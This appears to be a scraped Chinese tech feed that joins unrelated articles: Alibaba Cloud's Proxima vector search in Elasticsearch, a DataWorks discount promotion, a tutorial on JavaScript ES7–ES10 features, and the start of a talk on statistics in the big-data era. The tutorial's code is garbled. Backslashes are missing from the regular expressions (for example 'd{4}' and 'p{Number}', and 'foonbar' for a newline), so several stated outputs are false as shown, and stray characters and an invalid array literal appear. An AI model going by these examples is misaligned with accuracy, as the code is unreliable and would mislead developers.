        考虑到云上客户大多数对弹性和稳定性要求比较高,我们最终选择了易用性、稳定性更好的在线方案。

        三、详解设计方案

        在确定在线方案的前提下,如何能满足 Proxima 向量索引和 Elasticsearch 原生索引无缝集成呢?答案是利用 Lucene的 Codec 扩展机制。Codec 可以理解为 Lucene 索引文件格式的一种协议,用户只要实现对应的写入/读取的业务流程,即可自定义正排、倒排、StoreFields 等不同索引的具体实现。在阿里云 Elasticsearch 的实现中,我们包装并扩展了Lucene 的 Latest Codec,当向量数据写入es的某个字段时,前期流程跟原生的流程一致,先放入 indexBuffer 中;等内部发起 Refresh 时,调用底层的 Proxima 库,消费向量数据构建出 Proxima 的向量索引。

        查询的时候,由于向量索引和原生索引一样都是 Segment 粒度生成,所以我们只要很轻量的实现向量 Segment 对应的 Weight 和 Scorer即可。具体的,当查询到了 BuildScorer 阶段,我们利用底层 Proxima 库加载当前 Segment的向量索引文件,通过 Native 方法查询出TopN的 id 和 Score 后,通过docID和分数生成当前 Segment 的 Scorer,交给indexSearcher继续执行上层的求交/求并操作即可。
        image.png
        基于 Codec 机制,向量索引已经可以被 Lucene 当成普通索引来管理,这对上层的 Elasticsearch 来说是完全透明的,所以可以实现不修改上层业务的前提下,兼容 Elasticsearch 所有上层的分布式文件操作;所有扩副本、本地 Failover 、阿里云快照备份/恢复等功能都与原生普通索引无异。因此大大提高了索引的稳定性,降低了用户的使用成本。

        四、性能与效果评测

        以下是阿里云Elasticsearch 6.7.0版本环境实测数据,机器配置为数据节点16c64g*2 + 100G ssd云盘,数据集为Sift128维 Float 向量(http://corpus-texmex.irisa.fr/),数据总量为2千万。索引配置全部是默认参数。
        image.png

        五、使用说明

        5.1、创建索引

        PUT test
        {
          "settings": {
            "index.codec": "proxima",
            "index.vector.algorithm": "hnsw" # 可选值: hnsw/linear
          },
          "mappings": {
            "_doc": {
              "properties": {
                "feature": {
                  "type": "proxima_vector", # 向量字段
                  "dim": 2 # 向量维度,支持1~2048维
                },
                "id": {
                  "type": "keyword"
                }
              }
            }
          }
        }

        5.2 添加文档

        ​
        POST test/_doc
        {
          "feature": [1.0, 2.0], # float数组,数组长度必须与mapping指定的dim保持一致
          "id": 1
        }

        5.3 检索

        GET test/_search
        {
          "query": {
            "hnsw": {  # 与创建索引时指定的algorithm一致
              "feature": {
                "vector": [1.5, 2.5], # float数组,数组长度必须与mapping指定的dim保持一致
                "size": 10 # 指定召回的topN
              }
            }
          }
        }

        六、总结展望

        阿里云 Elasticsearch 始终致力于为云上用户提供一站式的高性能、低成本的大数据检索分析服务。向量检索引擎是我们在人工智能领域迈出的第一步,后续的发力点还有很多,比如支持更丰富的近似算法、支持离线训练、硬件加速等,有很多有意思的方向等待我们一起探索。目前阿里云ES向量检索引擎即将在下一版本上线公有云,有需求接入的用户可以提前提工单给我们沟通使用场景,感谢大家的支持。

        目前商业版的6.7和7.4版本,可以使用向量检索

        购买实例,请点击
        进一步了解产品,请点击

        加入我们

        9.png

        ]]>
        首月99元,3分钟入门DataWorks(标准版)强大功能! Fri, 02 May 2025 09:39:04 +0800 DataWorks作为飞天大数据平台操作系统,对接各种大数据计算引擎,以all in one box的方式提供专业高效、安全可靠的全域智能大数据平台,高效率完成数据全链路研发流程,建设企业数据治理体系。
        从2009年飞天大数据平台写下第一行代码开始,DataWorks历经10年发展,形成一套成熟的产品功能体系,满足企业数据中台搭建需求。在阿里巴巴内部,每天有数万数据/算法开发工程师正在使用DataWorks,现在仅需99元你就可以体验到DataWorks标准版的强大功能!

        image.png

        本次活动持续到2019年12月31日,购买任意Region的DataWorks增值版本-标准版,均能享受首月99元优惠活动,体验6大专属场景。活动结束后恢复原价2500元/月。

        购买地址:
        https://common-buy.aliyun.com/?spm=a2c0j.8205274.1252641.124455.5712154d23aYu2&commodityCode=dide_pre#/buy

        功能场景介绍:

        功能场景一:智能监控提高生产力,一种优雅的告警处理方式

        场景描述:任务工作流节点多,每个任务监控规则多,每个监控规则变化多,人肉维护就像网络工程师理网线,恨不得一刀剪干净。

        a94b5df668ab47f2be0ed5f0f8ff1418.png
        ]]> ES7、ES8、ES9、ES10新特性大盘点 Fri, 02 May 2025 09:39:04 +0800

        作者: 前端工匠 公号 / 浪里行舟君

        前言

        从 ECMAScript 2016(ES7)开始,版本发布变得更加频繁,每年发布一个新版本,好在每次版本的更新内容并不多,本文会细说这些新特性,尽可能和旧知识相关联,帮你迅速上手这些特性。
        image.png

        ES7新特性

        1.Array.prototype.includes()方法
        在ES6中我们有String.prototype.includes()可以查询给定字符串是否包含一个字符,而在 ES7 中,我们在数组中也可以用 Array.prototype.includes 方法来判断一个数组是否包含一个指定的值,根据情况,如果包含则返回true,否则返回false。

        const arr = [1, 3, 5, 2, '8', NaN, -0]
        arr.includes(1) // true
        arr.includes(1, 2) // false 该方法的第二个参数表示搜索的起始位置,默认为0
        arr.includes('1') // false
        arr.includes(NaN) // true
        arr.includes(+0) // true

        在ES7之前想判断数组中是否包含一个元素,有如下两种方法,但都不如includes来得直观:

        • indexOf()
          indexOf()方法返回在数组中可以找到一个给定元素的第一个索引,如果不存在,则返回-1。
        if (arr.indexOf(el) !== -1) {
          // ...
        }

        不过这种方法有两个缺点,一是不够语义化,要先找到参数值的第一个出现位置,所以要去比较是否不等于-1,表达起来不够直观。二是,它内部使用严格相等运算符(===)进行判断,这会导致对NaN的误判。

        [NaN].indexOf(NaN)// -1
        • find() 和 findIndex()

        数组实例的find方法,用于找出第一个符合条件的数组成员。另外,这两个方法都可以发现NaN,弥补了数组的indexOf方法的不足。

        [1, 4, -5, 10].find((n) => n < 0) // -5
        [1, 5, 10, 15].findIndex(function(value) {
          return value > 9;
        }) // 2
        [NaN].findIndex(y => Object.is(NaN, y)) // 0

        Array.prototype.includes()的支持情况:

        2.求幂运算符**
        在ES7中引入了指数运算符,具有与Math.pow()等效的计算结果

        console.log(2**10);// 输出1024zhicc
        console.log(Math.pow(2, 10)) // 输出1024

        求幂运算符的支持情况:
        image.png

        ES8新特性

        1.Async/Await
        我们都知道使用Promise能很好地解决回调地狱的问题,但如果处理流程比较复杂的话,那么整段代码将充斥着then,语义化不明显,代码不能很好地表示执行流程,那有没有比Promise更优雅的异步方式呢?

        假如有这样一个使用场景:需要先请求a链接,等返回信息之后,再请求b链接的另外一个资源。下面代码展示的是使用fetch来实现这样的需求,fetch被定义在window对象中,它返回的是一个Promise对象

        fetch('https://blog.csdn.net/')
          .then(response => {
            console.log(response)
            return fetch('https://juejin.im/')
          })
          .then(response => {
            console.log(response)
          })
          .catch(error => {
            console.log(error)
          })

        虽然上述代码可以实现这个需求,但语义化不明显,代码不能很好地表示执行流程。基于这个原因,ES8引入了async/await,这是JavaScript异步编程的一个重大改进,提供了在不阻塞主线程的情况下使用同步代码实现异步访问资源的能力,并且使得代码逻辑更加清晰。

        async function foo () {
          try {
            let response1 = await fetch('https://blog.csdn.net/')
            console.log(response1)
            let response2 = await fetch('https://juejin.im/')
            console.log(response2)
          } catch (err) {
            console.error(err)
          }
        }
        foo()

        通过上面代码,你会发现整个异步处理的逻辑都是使用同步代码的方式来实现的,而且还支持try catch来捕获异常,这感觉就在写同步代码,所以是非常符合人的线性思维的。需要强调的是,await 不可以脱离 async 单独使用,await 后面一定是Promise 对象,如果不是会自动包装成Promise对象。

        根据MDN定义,async是一个通过异步执行并隐式返回Promise作为结果的函数

        async function foo () {
          return '浪里行舟'
        }
        foo().then(val => {
          console.log(val) // 浪里行舟
        })

        上述代码,我们可以看到调用async 声明的foo 函数返回了一个Promise对象,等价于下面代码:

        async function foo () {
          return Promise.resolve('浪里行舟')
        }
        foo().then(val => {
          console.log(val) // 浪里行舟
        })

        Async/Await的支持情况:
        image.png

        2.Object.values(),Object.entries()
        ES5 引入了Object.keys方法,返回一个数组,成员是参数对象自身的(不含继承的)所有可遍历(enumerable)属性的键名。ES8引入了跟Object.keys配套的Object.values和Object.entries,作为遍历一个对象的补充手段,供for...of循环使用。

        Object.values方法返回一个数组,成员是参数对象自身的(不含继承的)所有可遍历(enumerable)属性的键值。

        const obj = { foo: 'bar', baz: 42 };
        Object.values(obj) // ["bar", 42]
        const obj = { 100: 'a', 2: 'b', 7: 'c' };
        Object.values(obj) // ["b", "c", "a"]

        需要注意的是,如果属性名为数值的属性,是按照数值大小,从小到大遍历的,因此返回的顺序是b、c、a。

        Object.entries()方法返回一个数组,成员是参数对象自身的(不含继承的)所有可遍历(enumerable)属性的键值对数组。这个特性我们后面介绍ES10的Object.fromEntries()还会再提到。

        const obj = { foo: 'bar', baz: 42 };
        Object.entries(obj) // [ ["foo", "bar"], ["baz", 42] ]
        const obj = { 10: 'xxx', 1: 'yyy', 3: 'zzz' };
        Object.entries(obj); // [['1', 'yyy'], ['3', 'zzz'], ['10': 'xxx']]

        Object.values()与Object.entries()兼容性一致,下面以Object.values()为例:
        image.png

        3.String padding
        在ES8中String 新增了两个实例函数 String.prototype.padStart 和 String.prototype.padEnd,允许将空字符串或其他字符串添加到原始字符串的开头或结尾。我们先看下使用语法:

        String.padStart(targetLength,[padString])
        • targetLength(必填):当前字符串需要填充到的目标长度。如果这个数值小于当前字符串的长度,则返回当前字符串本身。
        • padString(可选):填充字符串。如果字符串太长,使填充后的字符串长度超过了目标长度,则只保留最左侧的部分,其他部分会被截断,此参数的缺省值为 " "。
        'x'.padStart(4, 'ab') // 'abax'
        'x'.padEnd(5, 'ab') // 'xabab'

        有时候我们处理日期、金额的时候经常要格式化,这个特性就派上用场:

        '12'.padStart(10, 'YYYY-MM-DD') // "YYYY-MM-12"
        '09-12'.padStart(10, 'YYYY-MM-DD') // "YYYY-09-12"

        String padding的支持情况:
        image.png

        4.Object.getOwnPropertyDescriptors()
        ES5的Object.getOwnPropertyDescriptor()方法会返回某个对象属性的描述对象(descriptor)。ES8 引入了Object.getOwnPropertyDescriptors()方法,返回指定对象所有自身属性(非继承属性)的描述对象。

        const obj = {
          name: '浪里行舟',
          get bar () {
            return 'abc'
          }
        }
        console.log(Object.getOwnPropertyDescriptors(obj))

        得到如下结果:
        image.png
        该方法的引入目的,主要是为了解决Object.assign()无法正确拷贝get属性和set属性的问题。我们来看个例子:

        const source = {
          set foo (value) {
            console.log(value)
          },
          get bar () {
            return '浪里行舟'
          }
        }
        const target1 = {}
        Object.assign(target1, source)
        console.log(Object.getOwnPropertyDescriptor(target1, 'foo'))

        返回如下结果:
        image.png

        上面代码中,source对象的foo属性的值是一个赋值函数,Object.assign方法将这个属性拷贝给target1对象,结果该属性的值变成了undefined。这是因为Object.assign方法总是拷贝一个属性的值,而不会拷贝它背后的赋值方法或取值方法

        这时Object.getOwnPropertyDescriptors()方法配合Object.defineProperties()方法,就可以实现正确拷贝。

        const source = {
          set foo (value) {
            console.log(value)
          },
          get bar () {
            return '浪里行舟'
          }
        }
        const target2 = {}
        Object.defineProperties(target2, Object.getOwnPropertyDescriptors(source))
        console.log(Object.getOwnPropertyDescriptor(target2, 'foo'))

        返回如下结果:
        image.png

        Object.getOwnPropertyDescriptors()的支持情况:
        image.png

        ES9新特性

        1.for await of
        for of方法能够遍历具有Symbol.iterator接口的同步迭代器数据,但是不能遍历异步迭代器。ES9新增的for await of可以用来遍历具有Symbol.asyncIterator方法的数据结构,也就是异步迭代器,且会等待前一个成员的状态改变后才会遍历到下一个成员,相当于async函数内部的await。现在我们有三个异步任务,想要实现依次输出结果,该如何实现呢?

        // for of遍历
        function Gen (time) {
          return new Promise(function (resolve, reject) {
            setTimeout(function () {
              resolve(time)
            }, time)
          })
        }
        async function test () {
          let arr = [Gen(2000), Gen(100), Gen(3000)]
          for (let item of arr) {
            console.log(Date.now(), item.then(console.log))
          }
        }
        test()

        得到如下结果:
        image.png

        上述代码证实了for of方法不能遍历异步迭代器,得到的结果并不是我们所期待的,于是for await of就粉墨登场啦!

        function Gen (time) {
          return new Promise(function (resolve, reject) {
            setTimeout(function () {
              resolve(time)
            }, time)
          })
        }
        async function test () {
          let arr = [Gen(2000), Gen(100), Gen(3000)]
          for await (let item of arr) {
            console.log(Date.now(), item)
          }
        }
        test()
        // 1575536194608 2000
        // 1575536194608 100
        // 1575536195608 3000

        使用for await of遍历时,会等待前一个Promise对象的状态改变后,再遍历到下一个成员。

        异步迭代器的支持情况:
        image.png

        2.Object Rest Spread
        ES6中添加的最意思的特性之一是spread操作符。你不仅可以用它替换cancat()和slice()方法,使数组的操作(复制、合并)更加简单,还可以在数组必须以拆解的方式作为函数参数的情况下,spread操作符也很实用。

        const arr1 = [10, 20, 30];
        const copy = [...arr1]; // 复制
        console.log(copy);    // [10, 20, 30]
        const arr2 = [40, 50];
        const merge = [...arr1, ...arr2]; // 合并
        console.log(merge);    // [10, 20, 30, 40, 50]
        console.log(Math.max(...arr));    // 30 拆解

        ES9通过向对象文本添加扩展属性进一步扩展了这种语法。他可以将一个对象的属性拷贝到另一个对象上,参考以下情形:

        const input = {
          a: 1,
          b: 2,
          c: 1
        }
        const output = {
          ...input,
          c: 3
        }
        console.log(output) // {a: 1, b: 2, c: 3}

        上面代码可以把 input 对象的数据都添加到 output 对象中,需要注意的是,如果存在相同的属性名,只有最后一个会生效

        const input = {
          a: 1,
          b: 2
        }
        const output = {
          ...input,
          c: 3
        }
        input.a='浪里行舟'
        console.log(input,output) // {a: "浪里行舟", b: 2} {a: 1, b: 2, c: 3}

        上面例子中,修改input对象中的值,output并没有改变,说明扩展运算符拷贝一个对象(类似这样obj2 = {...obj1}),实现只是一个对象的浅拷贝。值得注意的是,如果属性的值是一个对象的话,该对象的引用会被拷贝:

        const obj = {x: {y: 10}};
        const copy1 = {...obj};    
        const copy2 = {...obj}; 
        obj.x.y='浪里行舟'
        console.log(copy1,copy2) // x: {y: "浪里行舟"} x: {y: "浪里行舟"}
        console.log(copy1.x === copy2.x);    // → true

        copy1.x 和 copy2.x 指向同一个对象的引用,所以他们严格相等。

        我们再来看下 Object rest 的示例:

        const input = {
          a: 1,
          b: 2,
          c: 3
        }
        let { a, ...rest } = input
        console.log(a, rest) // 1 {b: 2, c: 3}

        当对象 key-value 不确定的时候,把必选的 key 赋值给变量,用一个变量收敛其他可选的 key 数据,这在之前是做不到的。注意,rest属性必须始终出现在对象的末尾,否则将抛出错误。

        Rest与Spread兼容性一致,下列以spread为例:
        image.png

        3.Promise.prototype.finally()
        Promise.prototype.finally() 方法返回一个Promise,在promise执行结束时,无论结果是fulfilled或者是rejected,在执行then()和catch()后,都会执行finally指定的回调函数。

        fetch('https://www.google.com')
          .then((response) => {
            console.log(response.status);
          })
          .catch((error) => { 
            console.log(error);
          })
          .finally(() => { 
            document.querySelector('#spinner').style.display = 'none';
          });

        无论操作是否成功,当您需要在操作完成后进行一些清理时,finally()方法就派上用场了。这为指定执行完promise后,无论结果是fulfilled还是rejected都需要执行的代码提供了一种方式,避免同样的语句需要在then()和catch()中各写一次的情况

        Promise.prototype.finally()的支持情况:
        image.png

        4.新的正则表达式特性
        ES9为正则表达式添加了四个新特性,进一步提高了JavaScript的字符串处理能力。这些特点如下:

        • s (dotAll) 标志
        • 命名捕获组
        • Lookbehind 后行断言
        • Unicode属性转义

        (1)s(dotAll)flag
        正则表达式中,点(.)是一个特殊字符,代表任意的单个字符,但是有两个例外。一个是四个字节的 UTF-16 字符,这个可以用u修饰符解决;另一个是行终止符,如换行符(n)或回车符(r),这个可以通过ES9的s(dotAll)flag,在原正则表达式基础上添加s表示:

        console.log(/foo.bar/.test('foonbar')) // false
        console.log(/foo.bar/s.test('foonbar')) // true

        那如何判断当前正则是否使用了 dotAll 模式呢?

        const re = /foo.bar/s // Or, `const re = new RegExp('foo.bar', 's');`.
        console.log(re.test('foonbar')) // true
        console.log(re.dotAll) // true
        console.log(re.flags) // 's'

        (2)命名捕获组
        在一些正则表达式模式中,使用数字进行匹配可能会令人混淆。例如,使用正则表达式/(d{4})-(d{2})-(d{2})/来匹配日期。因为美式英语中的日期表示法和英式英语中的日期表示法不同,所以很难区分哪一组表示日期,哪一组表示月份:

        const re = /(d{4})-(d{2})-(d{2})/;
        const match= re.exec('2019-01-01');
        console.log(match[0]);    // → 2019-01-01
        console.log(match[1]);    // → 2019
        console.log(match[2]);    // → 01
        console.log(match[3]);    // → 01

        ES9引入了命名捕获组,允许为每一个组匹配指定一个名字,既便于阅读代码,又便于引用。

        const re = /(?<year>d{4})-(?<month>d{2})-(?<day>d{2})/;
        const match = re.exec('2019-01-01');
        console.log(match.groups);          // → {year: "2019", month: "01", day: "01"}
        console.log(match.groups.year);     // → 2019
        console.log(match.groups.month);    // → 01
        console.log(match.groups.day);      // → 01

        上面代码中,“命名捕获组”在圆括号内部,模式的头部添加“问号 + 尖括号 + 组名”(?),然后就可以在exec方法返回结果的groups属性上引用该组名。

        命名捕获组也可以使用在replace()方法中,例如将日期转换为美国的 MM-DD-YYYY 格式:

        const re = /(?<year>d{4})-(?<month>d{2})-(?<day>d{2})/
        const usDate = '2018-04-30'.replace(re, '$<month>-$<day>-$<year>')
        console.log(usDate) // 04-30-2018

        (3)Lookbehind 后行断言
        JavaScript 语言的正则表达式,只支持先行断言,不支持后行断言,先行断言我们可以简单理解为"先遇到一个条件,再判断后面是否满足",如下面例子:

        let test = 'hello world'
        console.log(test.match(/hello(?=sworld)/))
        // ["hello", index: 0, input: "hello world", groups: undefined]

        但有时我们想判断前面是 world 的 hello,这个代码是实现不了的。在 ES9 就支持这个后行断言了:

        let test = 'world hello'
        console.log(test.match(/(?<=worlds)hello/))
        // ["hello", index: 6, input: "world hello", groups: undefined]

        (?<…)是后行断言的符号,(?..)是先行断言的符号,然后结合 =(等于)、!(不等)、1(捕获匹配)。

        (4)Unicode属性转义
        ES2018 引入了一种新的类的写法p{...}和P{...},允许正则表达式匹配符合 Unicode 某种属性的所有字符。比如你可以使用p{Number}来匹配所有的Unicode数字,例如,假设你想匹配的Unicode字符㉛字符串:

        const str = '㉛';
        console.log(/d/u.test(str));    // → false
        console.log(/p{Number}/u.test(str));     // → true

        同样的,你可以使用p{Alphabetic}来匹配所有的Unicode单词字符:

        const str = 'ض';
        console.log(/p{Alphabetic}/u.test(str));     // → true
        // the w shorthand cannot match ض
        console.log(/w/u.test(str));    // → false

        同样有一个负向的Unicode属性转义模板 P{...}

        console.log(/P{Number}/u.test('㉛'));    // → false
        console.log(/P{Number}/u.test('ض'));    // → true
        console.log(/P{Alphabetic}/u.test('㉛'));    // → true
        console.log(/P{Alphabetic}/u.test('ض'));    // → false

        除了字母和数字之外,Unicode属性转义中还可以使用其他一些属性。

        以上这几个特性的支持情况:
        image.png

        ES10新特性

        1.Array.prototype.flat()
        多维数组是一种常见的数据格式,特别是在进行数据检索的时候。将多维数组打平是个常见的需求。通常我们能够实现,但是不够优雅。

        flat() 方法会按照一个可指定的深度递归遍历数组,并将所有元素与遍历到的子数组中的元素合并为一个新数组返回。

        newArray = arr.flat(depth) 
        // depth是指定要提取嵌套数组的结构深度,默认值为 1

        接下来我们看两个例子:

        const numbers1 = [1, 2, [3, 4, [5, 6]]]
        console.log(numbers1.flat())// [1, 2, 3, 4, [5, 6]]
        const numbers2 = [1, 2, [3, 4, [5, 6]]]
        console.log(numbers2.flat(2))// [1, 2, 3, 4, 5, 6]

        上面两个例子说明flat 的参数没有设置,取默认值 1,也就是说只扁平化第一级;当 flat 的参数大于等于 2,返回值就是 [1, 2, 3, 4, 5, 6] 了。

        Array.prototype.flat的支持情况:
        image.png

        2.Array.prototype.flatMap()
        有了flat方法,那自然而然就有Array.prototype.flatMap方法,flatMap() 方法首先使用映射函数映射每个元素,然后将结果压缩成一个新数组。从方法的名字上也可以看出来它包含两部分功能一个是 map,一个是 flat(深度为1)。

        let arr = [1, 2, 3]
        console.log(arr.map(item => [item * 2]).flat()) // [2, 4, 6]
        console.log(arr.flatMap(item => [item * 2])) // [2, 4, 6]

        实际上flatMap是综合了map和flat的操作,所以它也只能打平一层

        Array.prototype.flatmap的支持情况:
        image.png

        3.Object.fromEntries()
        Object.fromEntries 这个新的API实现了与 Object.entries 相反的操作。这使得根据对象的 entries 很容易得到 object。

        const object = { x: 23, y:24 };
        const entries = Object.entries(object); // [['x', 23], ['y', 24]]
        const result = Object.fromEntries(entries); // { x: 23, y: 24 }

        ES2017引入了Object.entries, 这个方法可以将对象转换为数组,这样对象就可以使用数组原型中的众多内置方法,比如map, filter、reduce,举个例子,我们想提取下列对象obj中所有value大于21的键值对,如何操作呢?

        // ES10之前
        const obj = {
          a: 21,
          b: 22,
          c: 23
        }
        console.log(Object.entries(obj)) // [['a',21],["b", 22],["c", 23]]
        let arr = Object.entries(obj).filter(([a, b]) => b > 21) // [["b", 22],["c", 23]]
        let obj1 = {}
        for (let [name, age] of arr) {
          obj1[name] = age
        }
        console.log(obj1) // {b: 22, c: 23}

        上例中得到了数组arr,想再次转化为对象,就需要手动写一些代码来处理,但是有了Object.fromEntries()就很容易实现

        // 用Object.fromEntries()来实现
        const obj = {
          a: 21,
          b: 22,
          c: 23
        }
        let res = Object.fromEntries(Object.entries(obj).filter(([a, b]) => b > 21))
        console.log(111, res) // {b: 22, c: 23}

        Object.fromEntries()的支持情况:
        image.png

        4.String.trimStart 和 String.trimEnd
        移除开头和结尾的空格,之前我们用正则表达式来实现,现在ES10新增了两个新特性,让这变得更简单!

        trimStart() 方法从字符串的开头删除空格,trimLeft()是此方法的别名。

        let str = ' 前端工匠 '
        console.log(str.length) // 6
        str = str.trimStart()
        console.log(str.length) // 5
        let str1 = str.trim() // 清除前后的空格
        console.log(str1.length) // 4
        str.replace(/^s+/g, '') // 也可以用正则实现开头删除空格

        trimEnd() 方法从一个字符串的右端移除空白字符,trimRight 是 trimEnd 的别名。

        let str = ' 浪里行舟 '
        console.log(str.length) // 6
        str = str.trimEnd()
        console.log(str.length) // 5
        let str1 = str.trim() //清除前后的空格
        console.log(str1.length) // 4
        str.replace(/s+$/g, '') // 也可以用正则实现右端移除空白字符

        String.trimStart和String.trimEnd 两者兼容性一致,下图以trimStart为例:
        image.png

        5.String.prototype.matchAll
        如果一个正则表达式在字符串里面有多个匹配,现在一般使用g修饰符或y修饰符,在循环里面逐一取出。

        function collectGroup1 (regExp, str) {
          const matches = []
          while (true) {
            const match = regExp.exec(str)
            if (match === null) break
            matches.push(match[1])
          }
          return matches
        }
        console.log(collectGroup1(/"([^"]*)"/g, `"foo" and "bar" and "baz"`))
        // [ 'foo', 'bar', 'baz' ]

        值得注意的是,如果没有修饰符 /g, .exec() 只返回第一个匹配。现在通过ES9的String.prototype.matchAll方法,可以一次性取出所有匹配。

        function collectGroup1 (regExp, str) {
          let results = []
          for (const match of str.matchAll(regExp)) {
            results.push(match[1])
          }
          return results
        }
        console.log(collectGroup1(/"([^"]*)"/g, `"foo" and "bar" and "baz"`))
        // ["foo", "bar", "baz"]

        上面代码中,由于string.matchAll(regex)返回的是遍历器,所以可以用for...of循环取出。

        String.prototype.matchAll的支持情况:
        image.png

        6.try…catch
        在ES10中,try-catch语句中的参数变为了一个可选项。以前我们写catch语句时,必须传递一个异常参数。这就意味着,即便我们在catch里面根本不需要用到这个异常参数也必须将其传递进去

        // ES10之前
        try {
          // tryCode
        } catch (err) {
          // catchCode
        }

        这里 err 是必须的参数,在 ES10 可以省略这个参数:

        // ES10
        try {
          console.log('Foobar')
        } catch {
          console.error('Bar')
        }

        try…catch的支持情况:
        image.png

        7.BigInt
        JavaScript 所有数字都保存成 64 位浮点数,这给数值的表示带来了两大限制。一是数值的精度只能到 53 个二进制位(相当于 16 个十进制位),大于这个范围的整数,JavaScript 是无法精确表示的,这使得 JavaScript 不适合进行科学和金融方面的精确计算。二是大于或等于2的1024次方的数值,JavaScript 无法表示,会返回Infinity。

        // 超过 53 个二进制位的数值,无法保持精度
        Math.pow(2, 53) === Math.pow(2, 53) + 1 // true
        // 超过 2 的 1024 次方的数值,无法表示
        Math.pow(2, 1024) // Infinity

        现在ES10引入了一种新的数据类型 BigInt(大整数),来解决这个问题。BigInt 只用来表示整数,没有位数的限制,任何位数的整数都可以精确表示。

        创建 BigInt 类型的值也非常简单,只需要在数字后面加上 n 即可。例如,123 变为 123n。也可以使用全局方法 BigInt(value) 转化,入参 value 为数字或数字字符串。

        const aNumber = 111;
        const aBigInt = BigInt(aNumber);
        aBigInt === 111n // true
        typeof aBigInt === 'bigint' // true
        typeof 111 // "number"
        typeof 111n // "bigint"

        如果算上 BigInt,JavaScript 中原始类型就从 6 个变为了 7 个。

        • Boolean
        • Null
        • Undefined
        • Number
        • String
        • Symbol (new in ECMAScript 2015)
        • BigInt (new in ECMAScript 2019)
          BigInt的支持情况:

        image.png

        8.Symbol.prototype.description
        我们知道,Symbol 的描述只被存储在内部的 [[Description]],没有直接对外暴露,我们只有调用 Symbol 的 toString() 时才可以读取这个属性:

        Symbol('desc').description;  // "desc"
        Symbol('').description;      // ""
        Symbol().description;        // undefined

        Symbol.prototype.description的支持情况:
        image.png

        9.Function.prototype.toString()
        ES2019中,Function.toString()发生了变化。之前执行这个方法时,得到的字符串是去空白符号的。而现在,得到的字符串呈现出原本源码的样子:

        function sum(a, b) {
          return a + b;
        }
        console.log(sum.toString());
        // function sum(a, b) {
        //  return a + b;
        // }

        Function.prototype.toString()的支持情况:
        image.png

        ]]>
        大数据面前,统计学的价值在哪里 Fri, 02 May 2025 09:39:04 +0800 1 统计学对大数据的意义

        很高兴有这样一个机会,我能与大家在这里做一些关于统计学与大数据的交流,与大家分享一些观点。
        在讲大数据之前,我们首先来看看什么是数据。很长一段时间里,大家对数据的理解,可能只是停留在阿拉伯数字这个层面。近些年来,大家开始讲大数据。结果有人就开始好奇了:这个大数据和我们之前说的数据有什么关系呢?

        阿拉伯数字是不是数据呢?当然是数据。大数据是不是数据呢?当然也还是数据。不过,现在我们对数据的理解要广泛得多了。凡是可以被数据化的信息载体,我们都可以认为是数据。比如说,我们接触的文本,包括平时看到的一些文字,现在我们都可以把它量化。我们看到的图片、视频和音频,现在也都可以量化。包括阿拉伯数字、文本、图片、视频和音频,我们都称之为数据。现在我们理解的数据,从来源上来说更加广泛了,从类型上说变得很复杂了。这些不同来源、类型复杂的数据组合在一起,达到一定的体量之后,就可以认为是一个大数据了。

        现在我们来说一下统计学,统计学是什么呢?首先,从学科定位上说,统计学已经被列为一级学科了。这一点和数学、法学等都一样了。大不列颠百科全书对统计学有个定义,说这是一门收集数据、分析数据的科学和艺术。定义中提到统计学是一门科学,这个容易理解。那为什么说统计学是一门艺术呢?这个问题,就和我今天主要回答的一个问题很有关系。顺便说一句,现在美国很多高校的统计系,它并不设在理学院下面,而是设在艺术学院下面。

        今天我主要回答一个问题:在大数据时代,我们究竟是否需要基于抽样的统计学?

        有些人认为,现在计算机科学非常发达,可以收集海量的数据。为了特定的研究目的,我们现在甚至有能力通过计算机技术收集与特定的研究目的相关的全部数据。今天,基于抽样的统计学就没有那么重要了,甚至都不在被需要了。事实真的是这样吗?

        2 统计学是一门收集数据的艺术

        既然统计学被认为是一门收集数据、分析数据的科学和艺术。我们暂时不谈科学,先来看看统计学为什么被认为是一门收集数据的艺术。

        我们来看第一个案例。这个案例是希望调查15个国家的国民的诚实情况。调查人员想要知道,哪些国家的国民最倾向于撒谎,哪些国家的国民很诚实。如果直接去问被调查的人员:“您是否撒过谎?”十之八九,是问不到真实答案的。如果被调查人员以前撒过谎,也不在乎多撒这个谎了。被调查人员可能出于不同的动机,不愿意给出真实答案。那么,调查数据怎么得来呢?这显然不是简单地通过计算机技术、通过某些爬虫软件就容易收集到适合研究目的相关数据的。
        如何利用统计学方法来收集数据呢?这就需要统计学的智慧了。调查人员设计了两组实验。

        调查人员先从每一个国家找1000人参与测试,15个国家一共找了15000人,找这么多不同国家的人来面对面调查,这是非常困难的,所以调查人员通过互联网找到了这15个国家共计15000人。两组实验都是在互联网上进行的。

        在第一组中,他们先做了一个测试,请受调查者在家里抛硬币,硬币有正反两面,调查者事先规定,受调查者抛硬币之后要告诉我结果,如果硬币正面朝上,我就奖励你十块钱,如果反面朝上,我就不给你奖励。这个调查不需要提供你抛硬币的证据,只是由你告诉调查者,抛硬币的结果。这也就是说,受调查者有没有撒谎,只有他自己知道。

        这个最后的结果,实际上调查者是有参照的。因为,每个国家有1000人参与测试。正常情况下,1000次抛硬币的结果,应该是500次左右正面朝上。某个国家参与实验的1000个人之中,如果有900个人声称自己抛出来的硬币正面朝上,甚至1000人声称抛出来硬币正面朝上。那么,很大概率就是其中有人撒谎了。这是第一组实验。

        第一组的实验有价值,但是它也不一定能够全面反映真实的情况,所以调查人员还有第二组实验。

        第二组实验,是要求受调查者回答五个问题。这五个问题在回答之前,需要受调查者承诺,他不能为了答题去查阅任何资料,不能去寻求任何帮助,也就是说,看了这五个问题之后,受调查者需要立即给出答案。调查者承诺,如果五个问题中,回答对了四个以上,就奖励给受访者十块钱,如果答对三个或者三个以下,就没有奖励。

        而这五个问题中,其中有三个问题特别简单,类似于像1+1等于几这种问题。另外两个问题则非常生僻。如果受调查者不去查阅资料或咨询他人的话,基本是不太可能回答出来的。因此,如果有受调查者答对了这两道难题,十有八九就说明他违反了自己事先承诺的“不去查阅资料寻求帮助”,由此可以推论他在这件事情上不诚实。

        然后统计人员通过这两组实验结果,互相验证。这两组数据收集的过程都非常恰当地体现了统计学在收集数据方面的智慧。

        所以说,即使在大数据时代,不是说有了计算机,有了爬虫技术,我们就能收集到适合研究目的的所有数据。统计学是一个收集数据的艺术,针对特定的研究目的,设计非常漂亮的数据收集方案,就是一个非常艺术的收集数据的过程了

